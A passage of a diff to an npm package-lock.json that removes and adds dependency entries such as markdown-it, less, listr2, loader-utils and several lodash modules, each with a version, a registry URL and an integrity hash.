++ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
++ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
++ "dev": true
++ }
+ }
+ },
+- "mandrill-api": {
+- "version": "1.0.45",
+- "resolved": "https://registry.npmjs.org/mandrill-api/-/mandrill-api-1.0.45.tgz",
+- "integrity": "sha1-Fjk5z0hr0YJ3sPO69BLD5l2Epy0="
+- },
+- "map-cache": {
+- "version": "0.2.2",
+- "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
+- "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8="
+- },
+- "map-obj": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-2.0.0.tgz",
+- "integrity": "sha1-plzSkIepJZi4eRJXpSPgISIqwfk="
+- },
+- "map-visit": {
++ "lead": {
+ "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
+- "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=",
++ "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz",
++ "integrity": "sha1-bxT5mje+Op3XhPVJVpDlkDRm7kI=",
++ "dev": true,
+ "requires": {
+- "object-visit": "^1.0.0"
++ "flush-write-stream": "^1.0.2"
+ }
+ },
+- "markdown-it": {
+- "version": "12.3.2",
+- "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz",
+- "integrity": "sha512-TchMembfxfNVpHkbtriWltGWc+m3xszaRD0CZup7GFFhzIgQqxIfn3eGj1yZpfuflzPvfkt611B2Q/Bsk1YnGg==",
++ "less": {
++ "version": "3.13.1",
++ "resolved": "https://registry.npmjs.org/less/-/less-3.13.1.tgz",
++ "integrity": "sha512-SwA1aQXGUvp+P5XdZslUOhhLnClSLIjWvJhmd+Vgib5BFIr9lMNlQwmwUNOjXThF/A0x+MCYYPeWEfeWiLRnTw==",
+ "dev": true,
+ "requires": {
+- "argparse": "^2.0.1",
+- "entities": "~2.1.0",
+- "linkify-it": "^3.0.1",
+- "mdurl": "^1.0.1",
+- "uc.micro": "^1.0.5"
++ "copy-anything": "^2.0.1",
++ "errno": "^0.1.1",
++ "graceful-fs": "^4.1.2",
++ "image-size": "~0.5.0",
++ "make-dir": "^2.1.0",
++ "mime": "^1.4.1",
++ "native-request": "^1.0.5",
++ "source-map": "~0.6.0",
++ "tslib": "^1.10.0"
+ },
+ "dependencies": {
+- "entities": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz",
+- "integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w==",
++ "mime": {
++ "version": "1.6.0",
++ "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
++ "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
++ "dev": true,
++ "optional": true
++ },
++ "source-map": {
++ "version": "0.6.1",
++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
++ "dev": true,
++ "optional": true
++ },
++ "tslib": {
++ "version": "1.14.1",
++ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
++ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true
+ }
+ }
+ },
+- "markdown-it-anchor": {
+- "version": "8.4.1",
+- "resolved": "https://registry.npmjs.org/markdown-it-anchor/-/markdown-it-anchor-8.4.1.tgz",
+- "integrity": "sha512-sLODeRetZ/61KkKLJElaU3NuU2z7MhXf12Ml1WJMSdwpngeofneCRF+JBbat8HiSqhniOMuTemXMrsI7hA6XyA==",
+- "dev": true,
+- "requires": {}
+- },
+- "markdown-link": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/markdown-link/-/markdown-link-0.1.1.tgz",
+- "integrity": "sha1-MsXGUZmmRXMWMi0eQinRNAfIx88=",
+- "dev": true
+- },
+- "markdown-toc": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/markdown-toc/-/markdown-toc-1.2.0.tgz",
+- "integrity": "sha512-eOsq7EGd3asV0oBfmyqngeEIhrbkc7XVP63OwcJBIhH2EpG2PzFcbZdhy1jutXSlRBBVMNXHvMtSr5LAxSUvUg==",
++ "less-plugin-autoprefix": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/less-plugin-autoprefix/-/less-plugin-autoprefix-2.0.0.tgz",
++ "integrity": "sha512-UktaMtHAhCVTIQxjlceo1MiiQiUZws7gi3hfcpxkCLn1CJdVdlRGCb4n1/M64hniw2DLd7YzOl7ojshs1tWYcQ==",
+ "dev": true,
+ "requires": {
+- "concat-stream": "^1.5.2",
+- "diacritics-map": "^0.1.0",
+- "gray-matter": "^2.1.0",
+- "lazy-cache": "^2.0.2",
+- "list-item": "^1.1.1",
+- "markdown-link": "^0.1.1",
+- "minimist": "^1.2.0",
+- "mixin-deep": "^1.1.3",
+- "object.pick": "^1.2.0",
+- "remarkable": "^1.7.1",
+- "repeat-string": "^1.6.1",
+- "strip-color": "^0.1.0"
++ "autoprefixer": "^8.6.3",
++ "postcss": "^6.0.22"
+ },
+ "dependencies": {
+- "concat-stream": {
+- "version": "1.6.2",
+- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
++ "autoprefixer": {
++ "version": "8.6.5",
++ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-8.6.5.tgz",
++ "integrity": "sha512-PLWJN3Xo/rycNkx+mp8iBDMTm3FeWe4VmYaZDSqL5QQB9sLsQkG5k8n+LNDFnhh9kdq2K+egL/icpctOmDHwig==",
+ "dev": true,
+ "requires": {
+- "buffer-from": "^1.0.0",
+- "inherits": "^2.0.3",
+- "readable-stream": "^2.2.2",
+- "typedarray": "^0.0.6"
++ "browserslist": "^3.2.8",
++ "caniuse-lite": "^1.0.30000864",
++ "normalize-range": "^0.1.2",
++ "num2fraction": "^1.2.2",
++ "postcss": "^6.0.23",
++ "postcss-value-parser": "^3.2.3"
+ }
+ },
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+- "dev": true
++ "browserslist": {
++ "version": "3.2.8",
++ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz",
++ "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==",
++ "dev": true,
++ "requires": {
++ "caniuse-lite": "^1.0.30000844",
++ "electron-to-chromium": "^1.3.47"
++ }
+ },
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
++ "has-flag": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
++ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+ "dev": true
+ },
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
++ "postcss": {
++ "version": "6.0.23",
++ "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
++ "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+ "dev": true,
+ "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
++ "chalk": "^2.4.1",
++ "source-map": "^0.6.1",
++ "supports-color": "^5.4.0"
+ }
+ },
+- "string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
++ "postcss-value-parser": {
++ "version": "3.3.1",
++ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
++ "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==",
++ "dev": true
++ },
++ "source-map": {
++ "version": "0.6.1",
++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
++ "dev": true
++ },
++ "supports-color": {
++ "version": "5.5.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
++ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "requires": {
+- "safe-buffer": "~5.1.0"
++ "has-flag": "^3.0.0"
+ }
+ }
+ }
+ },
+- "marked": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/marked/-/marked-4.1.0.tgz",
+- "integrity": "sha512-+Z6KDjSPa6/723PQYyc1axYZpYYpDnECDaU6hkaf5gqBieBkMKYReL5hteF2QizhlMbgbo8umXl/clZ67+GlsA=="
+- },
+- "match-sorter": {
+- "version": "6.3.1",
+- "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.1.tgz",
+- "integrity": "sha512-mxybbo3pPNuA+ZuCUhm5bwNkXrJTbsk5VWbR5wiwz/GC6LIiegBGn2w3O08UG/jdbYLinw51fSQ5xNU1U3MgBw==",
++ "levn": {
++ "version": "0.4.1",
++ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
++ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
++ "dev": true,
+ "requires": {
+- "@babel/runtime": "^7.12.5",
+- "remove-accents": "0.4.2"
++ "prelude-ls": "^1.2.1",
++ "type-check": "~0.4.0"
+ }
+ },
+- "math-log2": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/math-log2/-/math-log2-1.0.1.tgz",
+- "integrity": "sha1-+4lBvl9evol55xjmJzsXjlhpRWU="
+- },
+- "math-random": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/math-random/-/math-random-1.0.4.tgz",
+- "integrity": "sha512-rUxjysqif/BZQH2yhd5Aaq7vXMSx9NdEsQcyA07uEzIvxgI7zIr33gGsh+RU0/XjmQpCW7RsVof1vlkvQVCK5A==",
++ "lilconfig": {
++ "version": "2.0.5",
++ "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz",
++ "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==",
+ "dev": true
+ },
+- "mathjax": {
+- "version": "2.7.9",
+- "resolved": "https://registry.npmjs.org/mathjax/-/mathjax-2.7.9.tgz",
+- "integrity": "sha512-NOGEDTIM9+MrsqnjPEjVGNx4q0GQxqm61yQwSK+/5S59i26wId5IC5gNu9/bu8+CCVl5p9G2IHcAl/wJa+5+BQ=="
++ "lines-and-columns": {
++ "version": "1.2.4",
++ "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
++ "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
++ "dev": true
+ },
+- "maxmind": {
+- "version": "4.3.6",
+- "resolved": "https://registry.npmjs.org/maxmind/-/maxmind-4.3.6.tgz",
+- "integrity": "sha512-CwnEZqJX0T6b2rWrc0/V3n9hL/hWAMEn7fY09077YJUHiHx7cn/esA2ZIz8BpYLSJUf7cGVel0oUJa9jMwyQpg==",
++ "linkify-it": {
++ "version": "3.0.3",
++ "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-3.0.3.tgz",
++ "integrity": "sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==",
++ "dev": true,
+ "requires": {
+- "mmdb-lib": "2.0.2",
+- "tiny-lru": "8.0.2"
++ "uc.micro": "^1.0.1"
+ }
+ },
+- "mdurl": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz",
+- "integrity": "sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4=",
+- "dev": true
+- },
+- "media-typer": {
+- "version": "0.3.0",
+- "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
+- "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
+- },
+- "memfs": {
+- "version": "3.4.1",
+- "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.1.tgz",
+- "integrity": "sha512-1c9VPVvW5P7I85c35zAdEr1TD5+F11IToIHIlrVIcflfnzPkJa0ZoYEoEdYDP8KgPFoSZ/opDrUsAoZWym3mtw==",
+- "devOptional": true,
++ "list-item": {
++ "version": "1.1.1",
++ "resolved": "https://registry.npmjs.org/list-item/-/list-item-1.1.1.tgz",
++ "integrity": "sha1-DGXQDih8tmPMs8s4Sad+iewmilY=",
++ "dev": true,
+ "requires": {
+- "fs-monkey": "1.0.3"
++ "expand-range": "^1.8.1",
++ "extend-shallow": "^2.0.1",
++ "is-number": "^2.1.0",
++ "repeat-string": "^1.5.2"
+ }
+ },
+- "memoize-one": {
+- "version": "5.2.1",
+- "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz",
+- "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q=="
++ "listenercount": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/listenercount/-/listenercount-1.0.1.tgz",
++ "integrity": "sha1-hMinKrWcRyUyFIDJdeZQg0LnCTc="
+ },
+- "memoizee": {
+- "version": "0.4.15",
+- "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz",
+- "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==",
++ "listr2": {
++ "version": "3.14.0",
++ "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.14.0.tgz",
++ "integrity": "sha512-TyWI8G99GX9GjE54cJ+RrNMcIFBfwMPxc3XTFiAYGN4s10hWROGtOg7+O6u6LE3mNkyld7RSLE6nrKBvTfcs3g==",
+ "dev": true,
+ "requires": {
+- "d": "^1.0.1",
+- "es5-ext": "^0.10.53",
+- "es6-weak-map": "^2.0.3",
+- "event-emitter": "^0.3.5",
+- "is-promise": "^2.2.2",
+- "lru-queue": "^0.1.0",
+- "next-tick": "^1.1.0",
+- "timers-ext": "^0.1.7"
++ "cli-truncate": "^2.1.0",
++ "colorette": "^2.0.16",
++ "log-update": "^4.0.0",
++ "p-map": "^4.0.0",
++ "rfdc": "^1.3.0",
++ "rxjs": "^7.5.1",
++ "through": "^2.3.8",
++ "wrap-ansi": "^7.0.0"
+ },
+ "dependencies": {
+- "next-tick": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
+- "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==",
++ "colorette": {
++ "version": "2.0.16",
++ "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz",
++ "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==",
+ "dev": true
+ }
+ }
+ },
+- "memory-pager": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz",
+- "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==",
+- "optional": true
+- },
+- "memorystream": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/memorystream/-/memorystream-0.3.1.tgz",
+- "integrity": "sha1-htcJCzDORV1j+64S3aUaR93K+bI=",
+- "dev": true
+- },
+- "mensch": {
+- "version": "0.3.4",
+- "resolved": "https://registry.npmjs.org/mensch/-/mensch-0.3.4.tgz",
+- "integrity": "sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==",
+- "dev": true
+- },
+- "merge-descriptors": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
+- "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E="
+- },
+- "merge-stream": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
+- "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
++ "load-script": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/load-script/-/load-script-1.0.0.tgz",
++ "integrity": "sha1-BJGTngvuVkPuSUp+PaPSuscMbKQ="
+ },
+- "merge2": {
+- "version": "1.4.1",
+- "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+- "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+- "devOptional": true
++ "loader-runner": {
++ "version": "4.2.0",
++ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz",
++ "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw=="
+ },
+- "method-override": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/method-override/-/method-override-3.0.0.tgz",
+- "integrity": "sha512-IJ2NNN/mSl9w3kzWB92rcdHpz+HjkxhDJWNDBqSlas+zQdP8wBiJzITPg08M/k2uVvMow7Sk41atndNtt/PHSA==",
++ "loader-utils": {
++ "version": "2.0.2",
++ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.2.tgz",
++ "integrity": "sha512-TM57VeHptv569d/GKh6TAYdzKblwDNiumOdkFnejjD0XwTH87K90w3O7AiJRqdQoXygvi1VQTJTLGhJl7WqA7A==",
+ "requires": {
+- "debug": "3.1.0",
+- "methods": "~1.1.2",
+- "parseurl": "~1.3.2",
+- "vary": "~1.1.2"
++ "big.js": "^5.2.2",
++ "emojis-list": "^3.0.0",
++ "json5": "^2.1.2"
+ },
+ "dependencies": {
+- "debug": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
+- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ "big.js": {
++ "version": "5.2.2",
++ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
++ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
+ }
+ }
+ },
+- "methods": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
+- "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4="
+- },
+- "mhook": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/mhook/-/mhook-1.0.1.tgz",
+- "integrity": "sha1-C6igyiARIlgzA9tKsdDi/5jytUw="
+- },
+- "micromatch": {
+- "version": "4.0.4",
+- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz",
+- "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==",
++ "locate-path": {
++ "version": "6.0.0",
++ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
++ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+ "requires": {
+- "braces": "^3.0.1",
+- "picomatch": "^2.2.3"
++ "p-locate": "^5.0.0"
+ }
+ },
+- "microtime": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/microtime/-/microtime-3.0.0.tgz",
+- "integrity": "sha512-SirJr7ZL4ow2iWcb54bekS4aWyBQNVcEDBiwAz9D/sTgY59A+uE8UJU15cp5wyZmPBwg/3zf8lyCJ5NUe1nVlQ==",
++ "lockfile": {
++ "version": "1.0.4",
++ "resolved": "https://registry.npmjs.org/lockfile/-/lockfile-1.0.4.tgz",
++ "integrity": "sha512-cvbTwETRfsFh4nHsL1eGWapU1XFi5Ot9E85sWAwia7Y7EgB7vfqcZhTKZ+l7hCGxSPoushMv5GKhT5PdLv03WA==",
+ "requires": {
+- "node-addon-api": "^1.2.0",
+- "node-gyp-build": "^3.8.0"
+- },
+- "dependencies": {
+- "node-addon-api": {
+- "version": "1.7.2",
+- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-1.7.2.tgz",
+- "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg=="
+- }
++ "signal-exit": "^3.0.2"
+ }
+ },
+- "mime": {
+- "version": "2.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz",
+- "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="
++ "lodash": {
++ "version": "4.17.21",
++ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
++ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+ },
+- "mime-db": {
+- "version": "1.51.0",
+- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.51.0.tgz",
+- "integrity": "sha512-5y8A56jg7XVQx2mbv1lu49NR4dokRnhZYTtL+KGfaa27uq4pSTXkwQkFJl4pkRMyNFz/EtYDSkiiEHx3F7UN6g=="
++ "lodash-es": {
++ "version": "4.17.21",
++ "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz",
++ "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw=="
+ },
+- "mime-match": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/mime-match/-/mime-match-1.0.2.tgz",
+- "integrity": "sha1-P4fDHprxpf1IX7nbE0Qosju7e6g=",
+- "requires": {
+- "wildcard": "^1.1.0"
+- }
++ "lodash._reinterpolate": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz",
++ "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=",
++ "dev": true
+ },
+- "mime-types": {
+- "version": "2.1.34",
+- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.34.tgz",
+- "integrity": "sha512-6cP692WwGIs9XXdOO4++N+7qjqv0rqxxVvJ3VHPh/Sc9mVZcQP+ZGhkKiTvWMQRr2tbHkJP/Yn7Y0npb3ZBs4A==",
+- "requires": {
+- "mime-db": "1.51.0"
+- }
++ "lodash.camelcase": {
++ "version": "4.3.0",
++ "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz",
++ "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY="
+ },
+- "mimic-fn": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
+- "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="
++ "lodash.debounce": {
++ "version": "4.0.8",
++ "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
++ "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168="
+ },
+- "mimic-response": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
+- "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ=="
++ "lodash.defaults": {
++ "version": "4.2.0",
++ "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz",
++ "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw="
+ },
+- "min-document": {
+- "version": "2.19.0",
+- "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz",
+- "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=",
+- "requires": {
+- "dom-walk": "^0.1.0"
+- }
++ "lodash.difference": {
++ "version": "4.5.0",
++ "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz",
++ "integrity": "sha1-nMtOUF1Ia5FlE0V3KIWi3yf9AXw="
++ },
++ "lodash.flatten": {
++ "version": "4.4.0",
++ "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz",
++ "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8="
++ },
++ "lodash.flattendeep": {
++ "version": "4.4.0",
++ "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz",
++ "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=",
++ "dev": true
++ },
++ "lodash.frompairs": {
++ "version": "4.0.1",
++ "resolved": "https://registry.npmjs.org/lodash.frompairs/-/lodash.frompairs-4.0.1.tgz",
++ "integrity": "sha1-vE5SB/onV8E25XNhTpZkUGsrG9I="
++ },
++ "lodash.get": {
++ "version": "4.4.2",
++ "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz",
++ "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk="
++ },
++ "lodash.has": {
++ "version": "4.5.2",
++ "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz",
